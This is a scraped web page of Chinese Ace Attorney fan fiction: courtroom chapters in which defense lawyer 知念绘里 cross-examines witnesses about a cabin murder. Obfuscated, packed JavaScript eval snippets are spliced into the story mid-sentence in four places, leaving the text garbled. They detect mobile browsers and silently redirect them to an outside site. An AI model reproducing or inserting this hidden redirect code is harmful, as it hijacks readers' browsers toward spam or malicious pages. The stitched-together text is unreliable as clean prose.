;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266036|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肢健全无任何疾病的成年人,听得到脚步声有什么可奇怪的。”狩魔冥似乎极不耐烦我的表现,出声替大泽木做了回答。 “是这样吗?”我一脸恍然大悟道:“大泽木小姐不愧是前超自然摄影师啊,那么远的动静也能听得一清二楚。” “什么?” “难道狩魔检察官忘记了吗,糸锯刑警所说的报警时间为晚11时9分,而相片上显示的时间为晚10时26分。大泽木离开营地到木屋确认情况共花费40分钟——这足以说明木屋与营地之间有一定距离,甚至远到一个人想要知道那边的情况也必须借助某种媒介才行。我说得对吗,大泽木小姐?” “哪,哪有……” 大泽木一瞬变得慌张起来,嘴里嗫嚅半天也说不出一句话。 “所以?就算木屋与营地距离远又怎样?事实是她拍下了被告返回现场的照片,而在那个时间只有凶手才会返回现场!” 狩魔冥怎么比大泽木还激动? “真的吗?”我面带疑惑。 “什么意思?”狩魔冥蹙眉回道。 “当然是在问证人,那段时间里,她真的只看到被告一人出入木屋吗?毕竟想要迅速对木屋内的情况作出反应,最好的办法就是将相机一直对准木屋,通过显示器进行实时监控,得到一手资料。没错吧,目标是成为一流八卦记者的大泽木小姐?” 大泽木的尴尬与不安此刻更加明显,她不住地扭头看向狩魔冥,冲她求助。 “你到底想说什么?” 狩魔冥执着于争论的结果,根本无暇顾及大泽木。 “一直在观察木屋情况的大泽木小姐,请说出你当晚真正的所见所闻吧!” 狩魔检察官的神情自若不再,脸上的愤怒越发明显。 “还有这回事?证人,你当晚在案发现场究竟有看到什么?”审判长来了兴趣,作为唯一的在场证人,大泽木的证言自然会影响整起案件的走向。 大泽木低头不知在与自我做怎样的争斗,半晌后抬起缓缓开口:“没错,我不仅有看到,还拍下了。” “!”大泽木的坦诚让审判长也倍感意外,不过他很快恢复如常,“那就开始证言吧。” ~木屋内的情况~ “抱着想要成为一流的八卦记者这种想法,我将相机对准木屋,就这样观察了整晚。 因为位置关系,相机只能拍到浴室窗户,即使旋转角度也最多能看到一旁的大门和会客厅的半边窗户。 什么都拍不到,这样的状况令人泄气,甚至一度让我想过放弃。 直到9时41分左右浴室终于被点亮,磨砂玻璃下逐渐现出人影。 人影逐渐靠近窗边,窗上色块也跟着变大。 走到窗边的人拿起什么东西又原路返回,之后停在一个位置没有移动,又过了很久才重新回到窗边。 几分钟后,大约是在22时20分,浴室的灯被关上,木屋陷入一片寂静,我也是那时才发现会客厅的灯早在之前就被熄灭了。 感到有事发生,我将镜头对准了大门位置,果然看到一个身影从屋中离开。 这之后木屋一直处在黑暗之中,周围没有任何动静,直到我再次在相机荧幕中看见一个人影。 一种不好的预感促使我离开营地跑向木屋,就这样进入屋内发现了死者。 ” —————————————————————— 12. 逆转之声5 “那么——” “有录到人影的片段吗?”时间紧迫,只能委屈审判长你少说点话了。 “辩护律师……” “没错,相机的确录到了一段内容。”大泽木小姐也完全忽略了审判长的存在呢。 “你们……” “如果是想打那段录像的主意的话,我劝你还是趁早死了这条心。”狩魔检察官更为坚决,绝不让审判长有任何发声机会。 “理由呢?” “相机坏掉了。” “什么!?那相片又是哪里来的?” “相片是趁它停止工作前紧急抢救才得到的唯一珍贵的证物。事实就是如此,你再怎么睁大眼睛,一副不可置信的样子看着我,也改变不了相机坏掉的现实。” “……口说无凭,我要看证据。” “哼,真是固执。” 面对我不依不饶地追问,狩魔冥却是一反常态不见半点不悦,很快就将相机拿出径直扔给了我。 “我的相机!!!” 目睹了狩魔检察官粗暴行为的大泽木在证人台前发出痛苦的哀嚎。 “来吧,你自己亲自查验。”狩魔冥一脸兴味看着我。 无法开机,储存卡也不翼而飞,这样一来,根本拿不到最重要的证据。 可恶!她早就想好了对策。 “如何,有什么感言,尽管说出来。” 狩魔冥毫不掩饰的笑意与愈发张扬的动作无不在宣示她的胜利与我的失败,难道我要在这里认输吗? “??!” 突兀出现的锤声惹得在场所有人一惊,被冷落一旁的审判长早已按耐不住轻咳出声:“我说,各位………………也太不把我这个审判长放在眼里了!” “一直打断别人说话,再怎么没礼貌也要有个限度!要知道我很少在法庭上生气,可你们今天的表现,实在是太令人失望了!”审判长不住地摇头叹气。 “现在,”发泄过后审判长的情绪缓和不少,“继续讯问吧,辩护律师。” 短暂插曲过后总要回归正题。 没办法看到录像,好在还有个现场目击者。 “大泽木小姐,黑影拿起的物品形状如何,你有看清吗?” “嗯...看起来是有些厚度,四角圆圆的正方体,就像折叠好的手帕。” “浴室中人影停留的位置,具体在哪?” “从影子移动的方向来看——是浴缸,我想凶手就是在那个时候从窗边拿起手帕将受害人捂晕,再拖进里面令他溺亡的吧。” “不对吧?” “有什么不对?” “死者是40岁的大叔,凶手却是一位头发花白的大婶。力量如此悬殊的情况下,作案方式竟然是先将对方捂晕再拖进浴缸使其窒息死亡——这是根本无法做到的。” “是啊。”审判长也赞同地点点头,“两者之间的确存在体力与力量的差异。” “考虑到这点,审判长,凶手其实并非大场香而是另有其人!” “异议!” 沉寂了许久的狩魔冥再次开口,她支在桌上摆手说道:“还算精彩的推理。可惜,如果手帕上没有检测出药物成分,你的猜测的确可以成真。有了这个东西,不管是谁都能放倒比自己更为强壮的人。 “不过有一点证人说的不对,并不是捂晕,而是让小川洋辅吞服下包裹在手帕的药物,从而在缸中昏睡过去。” “可你刚才用手帕举证时并没有提到这点不是吗?”意想不到的情况令我一下子慌了神,以几乎是质问的语气向狩魔冥发问。 “啊,不好意思,忘了。” 轻飘飘的语气,毫不在意的神情,这么悠然自在,看来狩魔冥对于这个证物非常自信啊。 “手帕上居然有能令人困倦的药物成分吗?”审判长再次惊讶出声。 “没错。没能提前说明这一点,是因为之前提供的证据已经足够让被告定罪。知念绘里,没想到你能走到这一步........不过就到这里了,不会再让你继续下去。” 她的眼神更加锋利,像是千万根银针向我刺来,要将我钉在身后的石墙上。 恐怕要让她失望了,这种程度还不足以令我退却。 “审判长,我有证物可以证明黑影在窗边拿起的物品并非手帕。” 不管了,这个应该是用在这里吧。 “请看!” 我将调查中搜寻到的面膜瓶拿出放在桌前,成功收获一个茫然的审判长。 “辩护律师,现在不是推销产品的时候。”审判长摇头叹气道。 “你这是要在法庭宣布今天是自己退出律师界步入新领域的第一天?”这种挖苦人的好时机,狩魔冥当然不会放过。 “什么啊!我是说,这才是黑影在窗边拿起的东西!” “哦!原来是这样。” 审判长又是那副豁然开朗的样子。 “哼,你说是就是?我们凭什么相信你。”狩魔冥再次发起质疑。 “那么,狩魔检察官可以告诉我是在什么地方找到的手帕吗?” “真是无可救药,”狩魔冥颇为头疼地点了点额,“刚才的刑警不是说过了,浴缸边的木桌。” “啊哈哈,真是不好意思。”我拍拍后脑又状似无意地提起:“诶,可是我记得刚才证人说,黑影是有回到窗边放下东西的动作。” “是有又怎样,不过是放下.........”狩魔冥自然地接过话头,蓦地发现什么而停下,紧接着是愤怒,但仍旧还存有理智: “被告大可以从窗边拿起手帕放到桌边,再从桌上拿起面膜放回窗边。你休想用这个来混淆视线!” “那不如我们现场做个实验吧,狩魔检察官。” 我掏出一条与出示证物相差无几的手帕折叠起来放在手心,“请看,如何?” “只看得到薄薄的一片诶。”大泽木略感新奇地开口。 “啊!”依旧是大泽木,这下是惊吓的大叫:“为什么打我!” “啪!”又是一鞭,大泽木长了教训提前避开,鞭尾落在证人台上发出更大的响声。 “证人,现在不是你发言的时候。”冷漠地丢下一句,狩魔冥转而用那双灰色眼眸狠狠盯着我。 “审判长,想必您刚才也听到了,大泽木小姐对于我手中折叠手帕的评价是“薄薄一片”,可她之前的证词里却明确说到“有些厚度”。这刚好佐证了我的说法——这瓶面膜才是黑影在窗边拿起的物品。也就是说,证人所说的“那时用手帕趁机让被害者陷入昏迷从而加害对方”的说法不成立。” “的确没错呢。”审判长若有所思。 “证明了这点又如何,你依旧无法洗脱大场香的嫌疑。” “当然可以。”我无视狩魔冥的死亡凝视毫不动摇道:“大场香并没有必须要置小川洋辅于死地的理由, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266037|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑影可以是其他人,手帕就是为了栽赃她而故意留在现场的证物。她正是意识到这点才会在当晚前往木屋。” “你并没有证据可以证明不是吗?” “你也没有证据可以断定黑影就是大泽木不是吗?照片只能说明她在那个时间点前往了木屋。” “你!” 狩魔冥的反应正印证了我的猜想——她手上的证据目前也只有这么多。 “现在看来的确是不能轻率地宣判。狩魔检察官——” “啪啪啪啪!” “啊!为什么要打我!好痛好痛!” 狩魔冥一连几鞭都甩向了证人台的大泽木,后者则在左右横跳中幸运躲过攻击,正在原地吐气喘息。 就在我以为她发泄完可以稍微安心的空挡,身旁空气被猛然劈开带起一阵劲风。 “啊!” 我当即跳开试图躲过这一鞭,可惜还是稍慢,只能安慰自己还好只是衣服遭殃。 “为什么连我也要挨打啊!” “居然还敢问?!如果不是你和那个蠢蛋,凶手根本不可能得以喘息一天!” “只是你以为的凶手而已,事实还未可知。”我停在离法庭稍远的位置伸长了脖子反驳。 “可恶!!!” 大泽木,大泽木她爆发了! “你居然抽我......好,那我就要把一切都说出来!” “大泽木,你要做什么?!” 看来狩魔冥也没意料到自己这一举动将带来多大的麻烦。 “做什么,当然是要把你禁止我说出去的事,全部!坦白出来!!!” 看她一副慌乱扬起手中鞭的样子,大泽木接下来的发言必然非常关键。这下搬起石头砸到的是自己脚了吧,狩魔检察官。看在你要输掉这一局的份上,那一鞭子我也不记了。 “没错,我是为了获得最新八卦新闻素材才会偷偷潜藏在森林里,具体来说,那个木屋就是小川洋辅与情人会面的场所。” “真是不得了的信息,大泽木小姐蛮厉害的嘛。”我惊叹出声。 “嘿嘿,想要成为一流的八卦记者,打探各类消息的能力不过是基础而已——就算你现在用鞭子对着我,我也不会停止的!” 说着大泽木叉腰气势十足地大声嚷道:“而且,他们约定的时间就是10月12日哦!” “诶?!” 除狩魔冥外,在场众人皆是一脸震惊,满脸意外。 “哼哼,我要说的都说完了!” 发言完毕,大泽木颇为得意地叉手抱臂背对着狩魔冥。 “绘里姐,你不觉得狩魔检察官现在就像即将喷发的富士山吗?”真宵小声地向我说道。 我看着对面阴沉着脸一言不发的狩魔冥忍不住抖了抖,真怕她手中的鞭子再次落在自己身上。 “虽然是活火山但也沉寂了很久,像狩魔检察官这样可以接连爆发的,还是不能与富士山相比吧?”我还是没忍住回复到。 “审判长,这样一来案发当天出现在木屋的人又多了一位,那位的嫌疑同样不能排除。” 这个时候当然要乘胜追击。 “......嗯,狩魔检察官,那就要拜托你调查那个人了。” 上一刻还怒不可遏,这一秒却异常平静,狩魔冥强撑着优雅的姿态开口:“我一定会证明那个人并不存在。绝不会让本应受到罪罚之人,逃离原本的命运!” 13. 逆转之声6 10月14日下午2时 地方法院被告第3休息室 —————————————————————— “看不出来,你还挺有两下子的嘛。” 听到仍需调查,知道这即表明自己有机会得证清白的大场香心情顿时舒畅不少,连带语气也缓和了许多。 “多谢夸奖?”我迟疑道。 “真是,被人夸奖不就应该回表谢意吗,到底在犹豫什么。现在的年轻人真是不懂礼貌。” 对了,眼前这个对别人发难完还满不在乎,正整理自己满头卷发的人才是我熟悉的大场香。 “不过要对付那位检察官,你还是欠缺了些东西。”她停下手中动作,脸上是难得一见的认真。 “我也是这样认为的。下次应该提前备好装备,这样即使鞭子挥来也不用太担心。” “可是绘里姐,为什么不躲呢?”真宵皱着眉满脸不解地问道。 “那样高强度的鞭击没有极快的反应很难抵御,我只能是心有余但力不足——诶,忍术也可以作为备选吧!比如原地遁走什么的……” “我说的可不是那种东西啊。”大场香看着我摇摇头叹了口气:“总之,接下来非常关键。你手上可是有一条人命,无论怎样都别输啊。” “……目前手上疑似有一条人命的明明是大婶你吧,这种说法也太容易引起误会了。不过,我会努力的。” 不管狩魔冥有多难对付,我也会查明真相找出真凶,在法庭上堂堂正正打败她! —————————————————————— 10月14日某时刻 成步堂法律事务所 —————————————————————— “绘里姐,今天要从哪里开始调查?” 回到事务所稍作整理后又该考虑更为重要的问题,现在能够搜查的地点,目前我所知的地点,除了木屋及周边的森林似乎并无其他。因此我答道:“‘当案件陷入僵局时,最需要做的就是回到现场’,我记得某人这样说过。” “嗯.......不知道木屋今天会不会刷新呢。” “诶,为什么这么说?” “因为我们第一天总是只能得到很少的信息,但只要能坚持到第二天就会找到更多关键线索。这不就很像游戏里解锁新剧情需要达成一定条件,总是会有前置要求那样。” “这么一想也没错,所以今天会有全新发现也说不定.......” 带着这样的想法,我们离开事务所再次启程。 —————————————————————— 10月14日某时刻 和睦森林湖边木屋 —————————————————————— “您好!请问您是?” 木屋大门前站着一位身着黑裙头戴黑纱礼帽的老妇人,在我与真宵的注视下,她拄着拐杖缓缓侧过身:“咳咳。在开口询问别人前还是先报上自己的名字比较好。” “啊!真是不好意思。”我慌乱掏出随身携带的律师徽章递至对方手中:“我是知念绘里,今天是为调查小川洋辅被害一案而来。” “奶奶您好!我是绫里真宵,是绘里姐的助理!” “原来如此。抱歉,我还以为你们跟那群讨人厌的八卦记者一样:‘趁这个机会将他最后一丝价值也榨取干净’。这几天总是听到类似这样的话让我有些草木皆兵,咳咳,你们不与这群人为伍,真是太好了。” 两次,面前这位老妇人两次皆以洋辅称呼小川先生,想来两人应该是极为亲密的关系吧。 “咳咳,年纪大了就是容易忘事。我名为荒木尚子,是将小川洋辅抚养长大之人。”说到这里,荒木突然举起手绢捂住口鼻剧烈咳嗽起来。她摆手阻止我上前的动作,徐徐吐出一口气:“虽然你是站在对立面的人,我也并不会是非不分。有什么想知道的事,现在尽管问吧。” “那就——请问您平时也会来木屋吗?” “偶来不放心时会过来,但也只是在周围看看。洋辅不喜欢休假日被闲人打扰,即使那个人是我也一样。” “这.......” 难以想象,小川洋辅对于养育自己的人会是这般态度。可看荒木的神情,她似乎早已习惯这一切。 “咳咳,新闻里总是将洋辅刻画成一幅乖张孤僻的样子,可那些人根本不了解他,怎么会知道这孩子到底经历过什么?”荒木尚子的言语难掩悲伤,“早在他还是个只会于襁褓中哭泣的孩子时我便相伴左右,他为人如何,我当然要比这群看客更了解。如果不是各家媒体的一再窥探,洋辅也不会性情大变,连我也不再亲近......咳咳。 “抱歉,我太过沉浸在自己的悲伤之中,没能好好解答你的疑问。”荒木眼带歉意对我说道。 “不不,您不用向我道歉。”我慌忙摇头回应。 “那么,你还有什么其他问题吗?”荒木稍稍稳定了情绪,用手绢擦拭着眼角的泪珠。 “请问,您知道大场香吗?” 闻言荒木先是疑惑地回忆了许久,接着才恍然大悟道:“你是说那位新来的清洁人员?真没想到,她会是杀害洋辅的真凶。” “您真的相信她是杀人凶手吗?” “相信与否,如今也并不重要了。毕竟证据才是更为关键的,不是吗?我只知道现有的证据都指向她才是真正的犯人这一个结果,如此,也够了。” “是吗.......” 比起使我信服,荒木这番话更像是在说服自己。会不会她知道些什么?或者说心里有不一样的猜测? “咳咳,我已经回答了你的两个问题。对于这件案子,我也没有什么可以再告诉你的了。那么,就此告辞。” 我俯身朝着荒木鞠了一躬,她也点点头,而后倚靠手杖蹒跚着离开了这里。 那么现在,从哪里开始好呢? —————————————————————— 10月14日某时刻 和睦森林东 ————————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266038|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ————————————— “耶!糸锯刑警不在这里,好机会!” 我拨开腰侧杂草往深处走去,逐渐步入一条泥泞的小路,就这样来到了另一侧的湖边。 “视野是宽阔了不少,可这里真的会有线索吗?”我低头喃喃自语道。 不管了,试试在草丛里找找看吧。 穿梭在茵茵绿草间,指尖触碰叶面的一瞬总会粘连到其上的露珠,一来二去,它们就这样汇聚在一起沿着纹路流淌过掌心。 我讨厌这样潮湿的触感。 什么都没有,该不会全被糸锯刑警找到带走了吧? 我默默地想着,看来人果然是要在重压之下才能发挥出全部实力,就连疏忽大意的糸锯刑警也是这样。 “啊!” 一时的走神使我成功得到一次与雨水冲刷过的草地亲密接触的机会,这下可不只有裤脚被雨露打湿,身上的衣物更是得到自然的亲切慰问——星星点点的泥子与细碎的叶片随处可见,连一侧脸颊也没能幸免。 “绘里姐!你还好吧?” 真宵匆匆从远处跑来,借着她手上的力道我得以从地上爬起。顾不上清理,我愤愤低头在草叶中摸索绊倒自己的“罪魁祸首”。 “找到你了!” 我泄愤般使劲捏了捏手中的东西,塑料质感的柱形瓶身经由我刚才一脚已有内陷趋势。拿到眼前擦去覆在上方的泥土,瓶身包装上隐约有几个磨损的黑字,我仔细辨认了好一会儿才看出来——似乎是阿普唑仑。 “这是什么,一种药物吗?”真宵好奇地凑过来问道。 “不清楚,但出现在这种地方,或许会成为重要线索。”我边说着将空瓶装进袋中。 再次看向那片被压弯的草丛,一处与周围绿草格格不入的紫吸引了我的注意。将掩住它的叶片拂开,更让人意想不到的物品出现了。 “怎么会有人粗心大意到把手机落在这种地方。” 虽然不能确定这个东西与之前的药瓶是否属于同一个人,但我可以肯定,这绝对不是糸锯圭介的东西——手机上的挂件一看就不是他的风格嘛。 那么,还能开机吗? 我试着按下开机键,什么都没有。黑色荧幕上照映出的是自己的脸,我默不作声打算收起手机,从指缝中却透出了白色的亮光。 打开了?! 但下一秒,冰冷的现实又再给我当头一棒,手机设置了密码,且右上角显示它正处于危险的一格电量。 “绘里姐,偷看别人的手机可不好哦?”目睹刚才一切的真宵颇为不赞同地对我说。 “我知道啦.......可是,这个手机里面说不定有重要线索呢?况且出现在这种地方,比起不小心遗落,更可能是被人刻意丢弃的。” 对于我的辩解真宵并不十分认同。她觑起眼一脸狐疑地看着我,嘴上却说:“就当有这种可能吧。不过为了监督绘里姐,到时我也要一起看。” “......其实你就是想看吧。” “嘿嘿,不要拆穿我嘛。” 14. 逆转之声7 10月14日某时刻 和睦森林湖边木屋 —————————————————————— “这盘意大利面怎么还摆在这里。啊,都已经能闻到臭味了!” 我捏着鼻子走到长桌旁嫌恶地看着银盘里逐渐氧化腐烂的食物,看着看着,才惊觉自己忽略了什么。 胡椒瓶在哪? 我蹲在长桌一脚仔细搜索地面的这块区域,可是放眼望去只能看见一片茂密的椅子腿森林。交叠处投下的阴影更是为搜查工作增添了不少阻碍,思索再三,我还是决定将木椅全部挪开。 “!什么声音?” 在我抬起左侧第三张木椅时,物品滚动的声音随之出现。我当即停止手中动作趴在地板上寻找声响的来源,黑色瓶盖直线瓶身,一手正好能够握住的大小,厨房中缺失的那一味调料,终于在这里找到了。 这之后我又仔细搜查了木屋房间的每一个角落,可惜浴室和厨房还是什么都没有,可恶,到底还差什么前置条件没解锁.......我怎么也说这种话了。搜证工作到此结束,现在去见见大婶,看看能不能问出些新线索。 —————————————————————— 10月14日某时刻 拘留所 会面室 —————————————————————— “你没有事要忙吗,怎么又来了?” 光凭语气也能知道某人很不欢迎我的到来。 “......现在有求于人的好像不是我吧,再说我是你的律师,找你不是很正常吗?” “啊。”大场香淡淡地应了一声,“差点忘了——不,我是说,你现在应该全心全意搜证,少来骚扰当事人才对。” “......” 比起从她口中打探更多案件相关的信息,我现在更想把那张嘴缝上。 “稍微正经一些吧,如果大婶你不想上断头台的话。” “你这是在威胁我?” “这不是威胁,只是未来的一种可能。如果你再抗拒我的询问,它将会变成现实。” 或许是我的话点醒了对方,大场香沉默了良久终于松口:“好了好了,我知道了。” “那么,”回忆起昨天大泽木在法庭上的发言,想好的话到了嘴边却变成:“小川洋辅真的有一位情人吗?” “没有。” “不会吧?真的没有吗?” “我有什么向你隐瞒的必要吗?按爆炸头的说法,要是这个人真的存在并且案发当天就在木屋,找到他就能最大程度洗清我的嫌疑。但我替小川洋辅办事这么久也从未见过他有过什么情人,至少每次见面他都是独自一人前来。” ......八卦记者果然还是不可靠啊。 “那小川洋辅是个怎样的人?” “与电视报道中的一模一样。” “诶?!”怎么跟荒木的说法完全相反。 “大婶我好歹也是在制片厂工作过的人什么样的大明星没有接触过但像他这样脾气古怪爱摆架子的真是没见过难怪跟他相处五年的队友最后宁愿退出组合也不愿意再跟他共事不管在木屋里做什么都必须带着橡胶手套针对不同区域还必须用不同的手套偷懒不换是绝对不行的因为他甚至可以准确说出我曾经戴着会客厅专用手套打扫了厨房区域 “绝对不可以碰他的私人物品哪怕不小心也不行一旦被他发现就是降薪与言语的双重攻击都怪他那瓶该死的面膜香味那么重怎么洗都洗不掉害得我被发现就算解释了是不小心掉在地上也没用还要嘲讽我就算努力工作攒钱也只买得起瓶盖而已难道做大明星就了不起吗这么神经质怎么可能有人接受并且喜欢他只有疯子才会看得上他他就应该一辈子孤独终老!!!” 愤怒值在不断飙升,大场香的语速也愈来愈快,眼中仿佛有火花迸发。 “你说的面膜是这瓶吗?”说着我拿出证物向她出示。 “对!就是这个味道!”她捂住鼻子情绪激动地嚷道:“真是让人受不了,香气浓到这个程度完全算作生化武器啊!” 没错,我在心中暗暗附和。 “我想要了解的就这些,那就明天庭审再见了,大婶。” —————————————————————— 10月15日上午10时 地方法院第2法庭 —————————————————————— 跳过重复且琐碎的流程,现在,是我与狩魔冥交战的第二回合。 “今天我将证明‘小川洋辅传闻中的情人案发当天也在现场’只是无聊杂志编造的谎言。”狩魔冥举起手中的皮鞭用力扯了扯,紧盯着我一字一句道:“杀害小川洋辅的人,只会是被告。” “她今天还真是来势汹汹。” “绘里姐,我们也要加油!可不能输给狩魔检察官啊!” 年轻真好,昨晚光是整理今天的出庭资料就耗费了我大半精力,至于对狩魔冥的挑衅作出回应——实在是有心无力。 “请登场吧,证人。来击溃这一切的传闻与八卦。” 掷地有声的介绍过后,昨日有过一面之缘的荒木尚子行出大门颤颤巍巍走到证人台前。 “证人,请报上你的姓名与职业。” 荒木颔首不紧不慢地开口:“我名荒木尚子,是养育小川洋辅之人。他的事,我无一不晓。” “那么,开始你的证言。” ~传闻中的情人?~ “洋辅没有情人。 每周我都会前往木屋,在屋外观察他的近况。从未见过洋辅与他人幽会。 10月12日,我照常来到木屋,只看到洋辅一人。 所谓情人不过是八卦杂志为博人眼球所编撰出的谎言而已。” —————————————————————— “嗯......证人与被害者的关系可以算是极为亲密的家人,能知道这些也在情理之中。看来小川洋辅的确不存在什么情人。”审判长略加思索一番后便马上开口。 “证人的确就是小川洋辅的家人,更准确一点,她是被害人小川洋辅的姨母。” “哦?!原来是这么亲近的关系吗?!那这段证言看来十分可靠啊。” ......家人间也有互相隐瞒的时候啊审判长。啊,头开始疼了。 “我想已经没有讯问的必要了,事实现在非常清楚,被告就是唯一有机会对小川洋辅痛下杀手的人。”狩魔冥摆手斜睨着对上我,俨然一副“你输定了”的神情。 “不可以!审判长,我要进行讯问!” 不对,她的反应很不对劲。一旦对形势没有把握狩魔冥就会想尽办法阻止我开口,昨天也是这样,荒木的证言必然有问题。 “啊,哦!”审判长一时愣怔了,半响才回过神:“嗯,那就开始吧。” “证人,请问你是何时抵达的木屋?” “当天我有其他事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266039|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务需要处理,直到晚上7时左右才到木屋附近。” “那个时间小川洋辅在做什么?” “洋辅当时正在独自享用晚餐,是他最爱的意大利面。” “你确定自己没有看错吗?真的只有小川洋辅一个人?” “不可能有错,我当时就蹲在会客厅窗下,对屋内的情况可以说是一清二楚。” “既然这么亲近,为什么不直接进屋?” “异议!辩方律师不知道人有时候需要自己的空间吗?进屋与否不会改变证人所见。” “好,那我换一个问题。小川洋辅对意面有没有特别偏好?” “异议!”狩魔冥烦闷地轻抚额头叹气道:“请辩方不要用这样无聊的问题浪费大家时间。” “异议!我提出这个问题自然是因为与案件有关,请证人正面回答。” “个人喜好居然与整起案件有联系吗.......嗯,那就问问看吧。”思忖再三,审判长还是同意了我的请求。 “那么,荒木女士,你的回答是什么?” “洋辅很讨厌辛辣的食物,因此从不用那些带有强烈且刺激味道的调味品。” “黑胡椒也在这类调味品之列吗?” “当然。” 这可真是——太好了。 “审判长,我有证据能够证明荒木抵达时木屋内还存在另一个人。” “噢?是什么证据?” “证据就是现在我手里的这瓶黑胡椒粉。” 看见我手中物品的荒木露出了惊讶之色。 而我对面的狩魔检察官此刻正在:“这又是什么?!那个该死的刑警,给我等着!” “在搜查过程中我不仅发现了这瓶掉落在餐桌一脚的黑胡椒瓶,顺带还看见被剩在桌上撒满了胡椒粉末的意大利面。根据荒木的证言,这一盘食物绝对不属于小川洋辅,只可能是另一个人。” “所以那时在场的除小川洋辅外的确还有一人,难不成真是他的情人?”审判长在我之后说出了自己的猜测。 “哼,那个人也有可能是被告,不是吗?”调整好情绪后狩魔冥再次开口。 “所以狩魔检察官的意思是指小川洋辅的情人其实就是被告吗?!”这么说着,审判长不禁瞪圆了双眼大张着嘴。 审判长的猜测真是......荒木现在的脸色,可不太好啊。 “绝对没有这种可能!!!”荒木怒吼道。 “噢?!这是......”审判长一时有些傻眼。 “洋辅绝对不会看上那个女人,请不要诋毁他!”荒木看向审判长的眼中尽是愤怒与不满。 “......很抱歉,我说了这样的话。” 识时务者为俊杰,能道歉就是好审判长。 “对于律师小姐提出的问题,我想自己可以作出解释。” “嗯,那就请吧。” ~关于餐桌上的意面与胡椒瓶~ “咳咳,洋辅有时也会邀请朋友到家中聚餐。 胡椒瓶应该是对方遗落的物品。 但我在窗外的确只看到了洋辅一人,那位朋友大概在我到达前就离开了木屋。 ” —————————————————————— “原来如此,邀请朋友来家中聚餐因此才出现与木屋主人口味完全相反的食物。嗯,从逻辑上来说并不存在问题呢——好,辩护律师,你就开始讯问吧。” 我要问些什么呢? 15. 逆转之声8 “荒木女士,你如何确定那位朋友已经提前离开了木屋?那个人也有可能正在其他房间休息不是吗?” “你说的倒是没错......” “异议!”似乎是在害怕什么,狩魔冥紧急阻止了荒木接下来的发言:“既然证人已经说过只看见了小川洋辅一人,就不存在第二人也在房中的可能!” “这是为了反驳我连基本逻辑也不在乎了吗?” “你以为自己的推测很合理?哼,我可不这么认为。” “从桌上多出一盘不属于屋主人的意面推出当晚除他之外还有别人在场不是很合理吗?这有什么问题?” “哼,你怎么知道这盘意面究竟是‘那位朋友’的,还是被告在杀害小川洋辅后犒劳自己的美味?” “证人刚才不是已经说过是那位被小川洋辅邀请前来聚餐的朋友——” “证人的话也只是猜测,她并没有亲眼看到那位朋友。” 看得出来狩魔冥对于突然打断让我吃瘪这件事十分热衷。 “狩魔检察官......” “怎么?我说的太有道理,你无言以对了?看来你是承认自己的失——” 啊啊啊啊实在是忍不了了! “你真的没有意识到自己犯了什么错误吗?” 我厉声打断了她的发言。 “你在说什么?”狩魔冥不悦地抬了抬下巴。 “犯人在浴室杀害小川洋辅后便立即将整栋房屋的电源切断并逃到了屋外,这样一来,要怎么留在木屋内为自己做一顿‘犒劳大餐’呢?” “啊!” 想起自己刚才那番愚蠢发言的狩魔冥抱臂连连后退,眼中满是悔恨。 “很可惜。狩魔检察官,你无法证明小川洋辅的‘这位朋狩魔冥友’案发时不在木屋。” “可恶!” “辩护律师说的没错,看来‘这位朋友’也非常可疑啊。”审判长此时也表示了赞同。 “现在下结论还为时过早!知念绘里,除非你能够证明‘这位朋友’用完餐后并没有离开,否则他将毫无嫌疑!” “有道理,现在并没有明确的证据证明这个人用完餐后并未离开而是留在了木屋。那么,辩护律师,你有什么证据能够证明此人并未离开吗?” 可恶,就差一点! 我看着正得意炫耀自己辩驳成功的狩魔既愤怒又无力。到底要怎样证明那个人没有离开? “看来辩护律师并不能证明这一点。”狩魔冥脸上的笑意越发明显,我的失败就是她最好的良方,让她得以一扫从前的阴霾。 “请宣判吧,审判长。” “咳咳。现在也只能如此了。本院在此宣布......” “等等!” 